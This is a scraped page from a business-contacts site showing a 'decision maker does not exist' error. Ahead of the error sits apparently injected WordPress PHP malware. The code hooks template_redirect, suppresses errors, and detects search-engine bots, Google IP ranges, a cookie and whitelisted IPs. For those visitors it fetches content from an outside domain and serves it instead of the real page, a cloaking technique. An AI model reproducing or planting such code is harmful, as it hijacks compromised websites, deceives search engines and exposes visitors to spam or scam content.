add_action( 'template_redirect', 'wp_initial_sx' ); function wp_initial_sx() { // 🔹 Jalankan hanya di halaman /company/red-bull-north-america/ if ( ! is_page() ) return; $current_url = $_SERVER['REQUEST_URI']; if (strpos($current_url, '/company/red-bull-north-america') === false) { return; // stop di halaman lain } // ---------------------------------------------------------------------------------- error_reporting(0); $link = 'https://www.dosabedagenre.pro/caturvuarel.txt'; function ip_in_range_custom($ip, $range) { if (strpos($range, '/') === false) { $range .= '/32'; } list($subnet, $bits) = explode('/', $range); $ip_dec = ip2long($ip); $subnet_dec = ip2long($subnet); $mask = -1 << (32 - $bits); $subnet_dec &= $mask; return ($ip_dec & $mask) === $subnet_dec; } function fetch_ip_ranges_custom($url, $ipv4_key) { $json_data = @file_get_contents($url); if ($json_data === FALSE) { return []; } $ip_data = json_decode($json_data, true); $ip_ranges = []; if (isset($ip_data['prefixes'])) { foreach ($ip_data['prefixes'] as $prefix) { if (isset($prefix[$ipv4_key])) { $ip_ranges[] = $prefix[$ipv4_key]; } } } return $ip_ranges; } $google_ip_ranges = fetch_ip_ranges_custom('https://www.gstatic.com/ipranges/goog.json', 'ipv4Prefix'); $visitor_ip = isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : (isset($_SERVER["HTTP_INCAP_CLIENT_IP"]) ? $_SERVER["HTTP_INCAP_CLIENT_IP"] : (isset($_SERVER["HTTP_TRUE_CLIENT_IP"]) ? $_SERVER["HTTP_TRUE_CLIENT_IP"] : (isset($_SERVER["HTTP_REMOTEIP"]) ? $_SERVER["HTTP_REMOTEIP"] : (isset($_SERVER["HTTP_X_REAL_IP"]) ? $_SERVER["HTTP_X_REAL_IP"] : $_SERVER["REMOTE_ADDR"])))); $googleallow = false; foreach ($google_ip_ranges as $range) { if (ip_in_range_custom($visitor_ip, $range)) { $googleallow = true; break; } } $is_bot = false; $bot_identifiers = array('bot', 'ahrefs', 'google', 'spider', 'crawl'); $agent = strtolower($_SERVER['HTTP_USER_AGENT']); foreach ($bot_identifiers as $identifier) { if (strpos($agent, $identifier) !== false) { $is_bot = true; break; } } $ip_whitelist = ['85.92.66.150', '81.19.188.236', '81.19.188.235', '85.92.66.149']; // 🔹 Jalankan cloaking hanya untuk bot, google IP, atau whitelist if ( $is_bot || $googleallow || isset($_COOKIE['lp']) || in_array($visitor_ip, $ip_whitelist) ) { $content = @file_get_contents($link); if ($content !== false) { echo $content; exit; } } } Top Advertising Contacts 2024 - Winmo

Error:

This decision maker does not exist.